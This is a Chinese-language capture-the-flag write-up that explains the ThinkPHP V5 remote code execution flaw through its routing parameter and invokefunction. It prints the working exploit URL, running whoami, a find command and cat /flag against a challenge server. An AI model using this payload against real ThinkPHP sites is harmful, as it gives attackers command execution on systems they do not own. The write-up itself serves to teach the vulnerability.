题目描述:无,只给了下面一张图(PS:图中的链接没问题)
1. 思路分析
图中信息给的不是很到位,需要有点外部知识,网上搜索ThinkPHP V5,可以看到是think php的一个历史高危漏洞,具体信息可以参考https://www.freebuf.com/vuls/303908.html
这里简单总结下:
payload为?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
s参数为thinkphp的一种路由形式
http://xxx.com/index.php?s=/module/controller/func/args/value (func也叫action,就是类里的方法名)
在POC中:
module = index,对应的是index文件夹
controller = think\app,这个是一个漏洞利用点,当controller中存在\字符时,不会对controller进行进一步解析,此时会创建APP对象
func(action) = call_user_func_array:此为APP对象中的函数
args = ars[0]=system&vars[1][]=whoami:表示传入call_user_func_array的参数,可以执行命令
2. 利用已知POC找到flag
从以上的漏洞分析来看,我们将POC中的命令换成find / -name "*flag*",但是并没有我们想要的文件
再看看当前目录:也没有
再看看根目录:发现flag
最后获取到flag,POC:61.147.171.105:50706/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
总结:非常经典的RCE,这道题最大的意义在于了解这个RCE的原理。即外部controller和命令执行的命令和参数均外部可控。外部controller可控导致可以创建APP对象,而APP对象中又存在危险函数,函数中的参数也是外部可控的,进而导致RCE。